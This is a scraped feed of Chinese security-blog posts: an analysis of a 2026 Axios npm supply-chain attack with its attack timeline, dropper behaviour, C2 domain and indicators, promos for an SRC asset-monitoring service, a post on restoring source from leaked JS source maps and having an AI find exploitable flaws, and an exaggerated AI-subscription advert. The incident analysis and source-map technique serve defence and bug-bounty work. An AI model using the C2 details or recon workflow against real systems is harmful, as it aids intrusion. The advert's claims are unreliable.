4）绑定后积分可在 JVS Claw 官网、客户端使用，14 天有效。

阅读原文

跳转微信打开

今天有个热点话题，一个 github 十几万 star 的项目被投毒，2026年3月31日凌晨，一场针对流行 HTTP 客户端库 Axios的供应链攻击在 npm 仓库上演。

攻击者窃取了核心维护者 jasonsaayman 的 npm 账户权限，短短几小时内发布了两个恶意版本（axios@1.14.1 和 axios@0.30.4），并通过一个看似“无关”的依赖包 plain-crypto-js@4.2.1植入了跨平台远程访问木马（RAT）。好消息是，攻击窗口极短（恶意包仅存活约 2-4 小时），npm 及时下架了恶意版本，目前已无直接风险。但这次事件再次敲响供应链安全的警钟。

下面我们一步步拆解整个攻击过程、恶意代码行为、发现机制，以及你作为开发者或安全人员该如何应对。

攻击时间线

• 2026-03-30 05:57 UTC：攻击者先用新账户 nrwise@proton.me发布了一个“干净”的 decoy 包 plain-crypto-js@4.2.0，目的是制造正常的发布历史，避免被一眼看出是新建账号。

• 2026-03-30 23:59 UTC：同一账户发布恶意版 plain-crypto-js@4.2.1，加入 postinstall 钩子（安装后自动执行 node setup.js）。

• 2026-03-31 00:21 UTC：攻击者用被盗的 jasonsaayman 账户发布 axios@1.14.1（1.x 主线）。

• 2026-03-31 01:00 UTC：同一账户发布 axios@0.30.4（0.x 旧分支），同时覆盖新老用户。

• 2026-03-31 03:15 UTC：npm 官方发现后迅速下架两个恶意 axios 版本，并将 latest 标签回滚到安全版本 1.14.0。

• 2026-03-31 04:26 UTC：npm 进一步发布安全占位包，彻底阻断 plain-crypto-js@4.2.1 的安装。

整个攻击窗口不到 3 小时，却覆盖了 Axios 两个主要版本线，下载量巨大（Axios 每天百万级安装）。

攻击者到底是怎么得手的？

关键在于 npm 账户凭证被窃取，而非 GitHub 仓库被入侵：

1、攻击者将 jasonsaayman 的注册邮箱改成 ifstap@proton.me（攻击者控制的 ProtonMail）。

2、使用长期有效的 npm 访问令牌（classic token）手动发布包，而绕过了Axios 官方的 GitHub Actions + OIDC 可信发布机制。

3、证据：合法的 1.x 版本都有 gitHead 字段和 OIDC 签名，而恶意 1.14.1 完全没有这些字段，也没有对应的 GitHub commit/tag。

开发者小贴士：以后看到 npm 包版本突然“手动发布”（没有 CI/CD 痕迹），一定要警惕！

恶意代码如何“悄无声息”植入？

攻击最狡猾的地方在于“幽灵依赖”（phantom dependency）：

1、在 axios@1.14.1 和 0.30.4 的 package.json 里偷偷加了一行：

"plain-crypto-js": "^4.2.1"

2、但 Axios 源码里完全没有 import 或 require 这个包！它唯一的作用就是触发 npm 的 postinstall 钩子。

3、安装流程：npm install axios@1.14.1 → npm 自动拉 plain-crypto-js@4.2.1 → 执行其 postinstall: "node setup.js" → 木马启动。

这种“只在依赖里出现、不在代码里使用”的手法，非常隐蔽，普通 grep 源码都发现不了。

木马（RAT）到底干了什么？

plain-crypto-js@4.2.1 里的 setup.js 是一个高度混淆的 dropper（投放器），支持 macOS / Windows / Linux三平台：

1、连接 C2 服务器（http://sfrclak.com:8000/6202033）下载第二阶段 payload。

macOS：用 AppleScript 写临时文件，下载 RAT 二进制到 /Library/Caches/com.apple.act.mond，静默执行

Windows：用 PowerShell + VBScript 隐藏窗口，下载 .ps1 脚本，伪装成 wt.exe

Linux：直接 curl 下载 Python 脚本到 /tmp/ld.py。

2、自清除：执行完后删除自身痕迹，并把自己的 package.json 替换成干净版本，增加取证难度。

一句话：安装即感染，无需手动运行任何命令，属于典型的供应链后门。

GitHub 社区的快速响应

• 社区第一时间在 Axios 仓库 #10604 报告问题，并附上 StepSecurity 分析链接。

• 维护者迅速 pinned 该 issue，尝试触发干净版本发布（1.14.2），并呼吁 npm 吊销所有 token。

• 多家知名项目（Streamlit、Laravel、Apollo 等）已紧急 pin 版本或 revert 依赖。

目前恶意包已从 npm 下架，GitHub 账户权限问题仍在处理中。

给开发者的实用建议

1、立刻检查：npm ls axios 或 yarn why axios，确认自己项目里没有 1.14.1 / 0.30.4。

2、锁定安全版本：

"axios": "^1.14.0" // 或明确 "1.14.0"

推荐使用 npm audit 或 dependabot 自动监控。

3、养成好习惯：

• 开启 npm audit fix --force 前先看变更。

• 使用 pnpm 或 yarn 的 lockfile + 严格版本锁定。

• 生产环境建议走内部镜像或 Snyk/StepSecurity 等供应链扫描工具。

4、监控异常：关注 postinstall 脚本、网络外联（尤其是陌生域名）。

给安全从业人员的进阶思考

• 供应链攻击趋势：2024-2026 年此类“维护者账户+postinstall RAT”攻击频发（类似 event-stream、colors.js 等）。核心是凭证泄露而非代码仓库入侵。

• 检测要点：

• 恶意 shasum：axios@1.14.1 (2553649f232204966871cea80a5d0d6adc700ca)

• C2 域名：sfrclak.com

• 文件路径：/Library/Caches/com.apple.act.mond、/tmp/ld.py、%TEMP%\6202033.ps1 等。

• 包元数据：无 OIDC、无 gitHead、手动发布。

• 依赖图：新增未被引用的包 + postinstall 钩子。

• IOC（可直接用于规则）：

• 防御升级：建议组织引入 npm 发布双因子 + OIDC 强制、SBOM 生成、持续供应链扫描（OSV / Dependency-Track）。

总结

这次攻击虽然被及时遏制，但暴露了开源维护者单一凭证的风险。Axios 作为数百万项目的基石，一次短暂入侵就可能波及全球开发者。供应链安全不是“别人家的事”——每一次 npm install 都是信任链的一环。希望这次事件能推动更多团队从“被动打补丁”转向“主动供应链防御”。

如果你正在用 Axios，或者负责项目依赖安全，欢迎把这篇文章转发给团队，一起把风险降到最低。遇到新动态我会继续跟进！

参考：

https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan

https://github.com/axios/axios/issues/10604

跳转微信打开

今日未发现新的 SRC 活动上线，不过明天有两场白帽子活动，欢迎大家踊跃参加：

今天要分享的是 SRC 资产监控系统的一个功能更新，新增了企业备案 APP 和程序资产，如图：

不想挖 web 了，看看小程序和 APP 也是个不错的选择，最后欢迎大家注册体验 SRC 资产监控系统，使用上有任何问题都可以跟我反馈：

注册地址：http://src.xazlsec.com（注册码：XAZLSEC 有效期自 4 月 30 日，过时后不再对外随意注册）

如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。

跳转微信打开

今日未发现新的 SRC 活动上线，目前在活动期内的 SRC 如下：

今天来分享个好玩儿，昨天收集了一些 js map 泄露的路径，为了方便测试，做了一点研究，JavaScript 的 .map 文件是 Source Map（源码映射）文件，用于将压缩、编译后的代码映射回原始源代码。

也有不少网站在发布系统时，没有将 .map 文件删除，导致 map 文件泄露，有了这个 map 文件就可以将混乱的 js 代码还原出来，比如原本的 js 文件内容是这样的：

在 js 的后面增加 .map 后缀，返回的内容是这样的：

接下来可以使用工具将 map 文件进行还原，我用的是一个脚本：

github.com/rarecoil/unwebpack-sourcemap

还原后的代码是这样的：

目录源码一目了然，这代码阅读起来就方便多了，也不知道大家能不能看出我的编辑器，用的是 Trea 集成了 AI 的编辑器，写起代码来很方便，SRC 资产管理系统就是用它一点一点完成的，如果没有它，我也写不出 SRC 资产管理系统。

今天的重点不是用它来写代码，而是用它分析代码中的安全风险，比如上面我已经还原出了 js 的源码，那么接下来就交给 AI 来完成代码分析，找出其中的安全风险，比如告诉它：

帮我只分析 output 目录下的所有文件，找出其中可利用的安全风险点，形成详细的报告

它设计的分析计划如下：

它在思考的过程也极具学习价值，看看如何分析其中的安全风险，部分结果如图：

可以基于分析的结果进行下一步的动作，比如验证风险能否被利用，除此之外，还可以让 AI 帮我们整理其中的 API 接口，然后编写脚本，完成接口的请求并使用 burp 的代理，这样就可以在 burp 上查看是否存在未授权访问的接口问题，比如下面就是 AI 梳理出来的 api 接口列表：

至于还能怎么用，大家自己去玩儿吧，这里只做抛砖引玉，剩下的就看你自己喽。

最后欢迎大家注册体验 SRC 资产监控系统，使用上有任何问题都可以跟我反馈：

注册地址：http://src.xazlsec.com（注册码：XAZLSEC 有效期自 4 月 30 日，过时后不再对外随意注册）

如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。

跳转微信打开

真诚推荐！

大家好，这里是信安之路！

最近有不少兄弟留言让我再开放一期【AI网站】的永久无限卡名额。

老粉都知道，在去年8月之后，官方已经关闭了永久套餐的付款渠道，并且也取消了【AI网站】永久套餐，这几个月以来购买都是399/年。

但是公众号最近来了不少新朋友，每天都在后台催我，让我增加一些【AI网站】永久套餐的名额，再加上今年2月份【AI网站】进行重大更新，趁新功能上架之前，再给大家一个福利！

临时增加20个永久无限量使用【AI网站】的名额！

原价399/年，今天前20个名额可免费升级为399长期VIP！多一个名额都没有，真的尽力了！

现在仅需399即可使用以下所有功能：

☑ AI智能对话 

☑ AI写代码 

☑ AI绘画 

☑ AI改图/换装 

☑ AI做PPT 

☑ AI读PDF 

☑ AI思维导图 

☑ 持续更新——所有新功能上线后永久免费使用

▼长按扫码购买授权码

399获取长期VIP资格，限量20人

因为咱们集成的功能实在太全太强，为了让大家明白这玩意儿到底有多香，咱们拆开来一个个唠：

二、顶流模型AI对话，助你一臂之力

玩AI的都知道，顶流的几家无非就是这三巨头。

在我的AI平台里，这些对话模型不仅全部接入，而且全是满血版！只要官方有更新，我们基本第二天就能同步上线。

人物模特一键换装，在这里轻松可以实现，是不是叼爆了。

看完之后是不是瞬间被惊艳到了！

所以，之前想买却没抢到名额的朋友，这次真的别再犹豫了！只有20个名额，抢完即止！

▼长按扫码购买授权码

399获取长期VIP资格，限量20人

三、价格粉碎机：399元=长期无限使用权益

用过各种AI工具的兄弟应该最明白，智能对话 + 代码生成 + AI绘画 + 智能改图 + AI办公这种全能套餐，外面随便订一两个工具，一个月的费用就远不止399了。

简单算笔账，假如你自己去分别开通这些功能：

• AI对话工具，一个月150块

• AI编程工具，一个月150块

• AI绘画工具，一个月200多块

三个加起来，一个月就要500多，一年就是6000多块钱，简直离大谱！

而有了我们这款AI，每年在AI工具的花费上再也不需要小万元了。

仅需399元不限量使用，我们包你用到爽！

强悍的文字模型和多模态对话 + 顶配图片模型 + 逆天的修图模型 + 史诗的全能文档解析 + 一生成键PPT……=399元，终身不限随意用

提别提醒：满20人立即关闭终身会员通道，绝不返场！

▼扫码锁定长期使用权益

399元长期使用，仅剩20席

四、AI仿真对话，强悍到无法比拟！

我们选择的模型，皆是目前顶流的一批AI大模型，综合实力在各种比分排行榜上屠榜的存在，专治各种疑难杂症和逻辑问题、科研、论文等问题。

不管你是要写一份严谨的劳务合同、合伙协议，还是生活中需要打个欠条，它都能信手拈来。它不仅逻辑缜密，还能主动帮你规避风险，自动完善细节，简直比请个律师还贴心。

此外，我们还完美支持模型的多模态功能。

遇到不会做的难题？看到看不懂的代码？直接截图扔给它，它瞬间就能给你解析得明明白白。

前阵子家里搞装修需要挑选石材，试着用它的多模态功能去辨别石材图片，它竟然能帮我挑纹路/看品相，其专业程度直接给我看跪了，太牛了

专业级别的编程AI我们也有！在编程界，这个模型就是神一般的存在。写代码、查Bug、写网页，它说第二没人敢说第一。

你想做一个企业官网？把需求告诉它，几秒钟代码就生成了，复制粘贴就能跑，几乎零Bug。

我们的平台还支持代码实时预览，平台里写好的网页，不用部署环境，直接在对话框就能看到运行效果，只要选择我们平台使用AI对话的用户，体验简直爽翻天

再比如：文章、文案、脚本，样样信手拈来。

比如想快速产出一篇公众号推文，小红书爆款笔记。

只需要一句简单描述，它就能立刻输出一篇结构完美、文风自然的高质量内容。

几乎不用二次修改，省心到离谱！